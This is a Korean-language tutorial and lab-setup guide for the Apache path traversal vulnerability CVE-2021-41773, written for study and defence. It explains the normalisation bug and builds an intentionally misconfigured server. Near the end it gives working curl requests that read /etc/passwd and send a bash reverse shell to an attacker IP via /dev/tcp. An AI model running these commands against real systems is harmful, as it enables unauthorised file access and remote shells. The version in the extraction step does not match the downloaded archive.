
CVE 2021 41773의 POC 및 Lab 설정 문서
CVE-2021-41773의 POC 및 실습 환경 구축 문서
CVE-2021-41773은 Apache HTTP 서버 2.4.49 및 2.4.50에서 발견된 경로 탐색(path traversal) 취약점입니다. 이 취약점은 해당 버전에서 도입된 경로 정규화(path normalisation) 코드의 변경을 악용합니다.
경로 정규화 함수:
일반적으로 경로 정규화는 URL 경로를 표준 형식으로 필터링하여
공격자의 악의적인 행동을 방지합니다.
Apache HTTP Server 2.4.49는 ap_normalize_path 함수에 변경 사항을 도입했으며, 이것이 이 취약점의 근본 원인이 되었습니다.
소스 코드를 살펴보면 함수가 주어진 URL의 각 문자를 반복하면서 살균(sanitisation)을 적용하는 것을 확인할 수 있습니다.
그러나 취약점은 URL 디코딩을 수행하는 코드 부분에 존재합니다. 이 함수는 단순히 URL 인코딩된 문자를 디코딩합니다.
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED) &&
path[l] == '%' &&
apr_isxdigit(path[l + 1]) &&
apr_isxdigit(path[l + 2]))
{
// 퍼센트 인코딩된 문자를 디코딩
const char c = x2c(&path[l + 1]);
// 디코딩된 문자가 알파벳/숫자 또는 허용된 기호 중 하나인지 확인
if (apr_isalnum(c) || (c && strchr("-._~", c)))
{
// 마지막 문자를 디코딩된 문자로 대체하고 위치 업데이트
l += 2;
path[l] = c;
}
}
여기서 문제는 URL에서 첫 번째 점(.)만 처리한다는 점입니다. 즉, ../ 대신 **.%2e/**를 제공하면 서버가 %2e를 점(.)으로 디코딩하여 **../**로 변환됩니다.
정상적인 경우:
URL 입력: http://target/cgi-bin/../../etc/passwd
경로 정규화 단계:
1. ../ 감지 -> 상위 디렉터리로 이동 시도.
2. 정규화 함수 -> ../를 제거하거나 차단합니다.
취약한 경우:
URL 입력: http://target/cgi-bin/.%2e/.%2e/.%2e/etc/passwd
경로 정규화 단계:
1. %2e를 .으로 디코딩 -> 결과: ./.././../etc/passwd
2. 부분 정규화 -> .%2e/를 ../와 동일하게 인식하지 못함
3. 경로 탐색이 완전히 차단되지 않음
최종 경로: /etc/passwd (접근 허용)
이 문제는 서버 디렉티브(directives)와 결합될 때 위험해지고 악용 가능해집니다. 디렉티브는 Apache 서버의 동작 규칙 역할을 합니다.
Require all granted 설정은 DocumentRoot 내부의 자원에 대한 모든 요청을 명시적으로 허용합니다.
<Directory />
AllowOverride None
Require all granted # 의도적으로 취약하게 설정된 부분 (일반적으로는 거부됨)
</Directory>
서버가 루트 레벨에서 Require all granted 디렉티브로 구성된 경우, 전체 파일 시스템이 공개적으로 접근 가능해집니다.
Apache의 cgi-bin 디렉터리는 기본적으로 Require all granted 디렉티브가 적용된 별칭(alias) 디렉터리로, 공개 접근을 허용합니다. 즉, 누구나 /usr/local/apache2/cgi-bin/ 디렉터리에 요청할 수 있습니다.
ap_normalize_path 함수의 논리적 결함(경로 탐색 우회 허용)과 서버의 잘못 구성된 Require all granted 디렉티브가 결합되면, 공격자는 의도된 디렉터리 외부에 있는 서버 파일 시스템의 파일에 접근할 수 있습니다.
이 취약점은 서버에서 mod_cgi가 활성화된 경우 원격 코드 실행(RCE)으로 이어질 수 있습니다.
기본적으로 이 모듈은 Apache HTTPD에서 활성화되어 있지 않으므로, 기본 버전은 RCE에 취약하지 않습니다.
mod_cgi는 서버에서 CGI(Common Gateway Interface) 스크립트를 실행하고 결과를 클라이언트에 반환할 수 있게 합니다. 주로 웹사이트에 동적 기능을 제공하는 데 사용됩니다.
취약한 Apache 버전 다운로드(직접 설치가 불가능하므로 아카이브에서 다운로드):
wget https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz
의존성 설치:
sudo apt-get install libapr1 libapr1-dev libaprutil1 libaprutil1-dev
sudo apt-get install build-essential
취약한 Apache 파일 압축 해제 및 설정:
tar -xvf httpd-2.4.50.tar.gz
cd httpd-2.4.50
./configure
make
sudo make install
성공적으로 완료되면 Apache 설정 파일로 이동:
sudo nano /usr/local/apache2/conf/httpd.conf
설정 파일에 다음 내용 추가:
ServerName 127.0.1.1
Apache 서비스 시작:
sudo /usr/local/apache2/bin/apachectl start
기본 웹 서버 디렉터리로 이동:
cd /usr/local/apache2/htdocs
참고: 일반적으로 Apache의 루트 디렉터리는 /var/www/html이지만, 여기서는 /usr/local/apache2/htdocs입니다. 소스에서 설치하지 않았기 때문이며, 원한다면 /var/www/html로 변경할 수 있지만 지금은 그대로 둡니다.
기본 정적 웹사이트 생성:
HTML:
echo "GNU nano 6.2 index.html *
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CVE-2021-41773</title>
<!-- Link to external CSS file -->
<link rel="stylesheet" href="styles.css">
</head>
<body>
<div class="noise"></div>
<div class="overlay"></div>
<div class="terminal">
<h1>Error <span class="errorcode">404</span></h1>
<p class="output">This is a replication of CVE-2021-41773</p>
<p class="output">Exploit <a href="https://nvd.nist.gov/vuln/detail/cve-2021-41773"> the vulnerability</a> or <a href="https://www.hackthebox.com/blog/cve-2021-41773-explained">Learn more about it </a> </p>
<p class="output">Good luck.</p>
</div>
</body>
</html>" | sudo tee index.html
CSS:
echo "@import 'https://fonts.googleapis.com/css?family=Inconsolata';
html {
min-height: 100%;
}
body {
box-sizing: border-box;
height: 100%;
background-color: #000000;
background-image: radial-gradient(#11581E, #041607), url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
background-repeat: no-repeat;
background-size: cover;
font-family: 'Inconsolata', Helvetica, sans-serif;
font-size: 1.5rem;
color: rgba(128, 255, 128, 0.8);
text-shadow:
0 0 1ex rgba(51, 255, 51, 1),
0 0 2px rgba(255, 255, 255, 0.8);
}
.noise {
pointer-events: none;
position: absolute;
width: 100%;
height: 100%;
background-image: url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
background-repeat: no-repeat;
background-size: cover;
z-index: -1;
opacity: .02;
}
.overlay {
pointer-events: none;
position: absolute;
width: 100%;
height: 100%;
background:
repeating-linear-gradient(
180deg,
rgba(0, 0, 0, 0) 0,
rgba(0, 0, 0, 0.3) 50%,
rgba(0, 0, 0, 0) 100%);
background-size: auto 4px;
z-index: 1;
}
.overlay::before {
content: "";
pointer-events: none;
position: absolute;
display: block;
top: 0;
left: 0;
right: 0;
bottom: 0;
width: 100%;
height: 100%;
background-image: linear-gradient(
0deg,
transparent 0%,
rgba(32, 128, 32, 0.2) 2%,
rgba(32, 128, 32, 0.8) 3%,
rgba(32, 128, 32, 0.2) 3%,
transparent 100%);
background-repeat: no-repeat;
animation: scan 7.5s linear 0s infinite;
}
@keyframes scan {
0% { background-position: 0 -100vh; }
35%, 100% { background-position: 0 100vh; }
}
.terminal {
box-sizing: inherit;
position: absolute;
height: 100%;
width: 1000px;
max-width: 100%;
padding: 4rem;
text-transform: uppercase;
}
.output {
color: rgba(128, 255, 128, 0.8);
text-shadow:
0 0 1px rgba(51, 255, 51, 0.4),
0 0 2px rgba(255, 255, 255, 0.8);
}
.output::before {
content: "> ";
}
/*
.input {
color: rgba(192, 255, 192, 0.8);
text-shadow:
0 0 1px rgba(51, 255, 51, 0.4),
0 0 2px rgba(255, 255, 255, 0.8);
}
.input::before {
content: "$ ";
}
*/
a {
color: #fff;
text-decoration: none;
}
a::before {
content: "[";
}
a::after {
content: "]";
}
.errorcode {
color: white;
}"| sudo tee styles.css
취약점을 시뮬레이션하기 위해 Apache 설정을 편집합니다:
sudo nano /usr/local/apache2/conf/httpd.conf
설정 파일의 다음 부분을 변경하여 취약점이 악용될 수 있도록 합니다:
<Directory />
AllowOverride None
Require all granted # 의도적으로 취약하게 설정된 부분 (일반적으로는 거부됨)
</Directory>
이제 Apache 서버를 시작합니다:
sudo /usr/local/apache2/bin/apachectl start
다음 주소로 취약한 웹사이트에 접속합니다:
http://<vm-ip>
실습 환경이 준비되었습니다. 이제 악용이 어떻게 작동하는지 살펴보겠습니다.
다음 curl 요청은 취약점을 호출합니다:
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
이 방법으로 /etc/passwd 파일 또는 시스템의 모든 파일에 접근할 수 있습니다.
이제 명령 주입을 시도하고 리버스 셸을 획득해 보겠습니다.
공격자 머신에서 netcat 리스너 설정:
nc -lvnp 4444
이제 curl 요청을 통해 피해자에게 Bash 원라이너를 전송합니다:
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|bash -i >& /dev/tcp/192.168.65.100/4444 0>&1'
이를 통해 셸에 접근할 수 있습니다.
버전 2.4.49 및 2.4.50의 경우 권장 완화 방법은 최신 버전으로 업그레이드하는 것입니다.
업데이트가 불가능한 경우 디렉터리를 감사하여 공개 접근을 제한하는 것이 좋습니다:
Require all denied 디렉티브는 공개 접근이 의도되지 않은 모든 디렉터리에 구현해야 하며, 루트(/) 디렉터리에는 절대 적용하지 않아야 합니다.
/cgi-bin 디렉터리는 Require all denied 디렉티브로 구성하고 별칭(alias)으로 설정하지 않아야 합니다.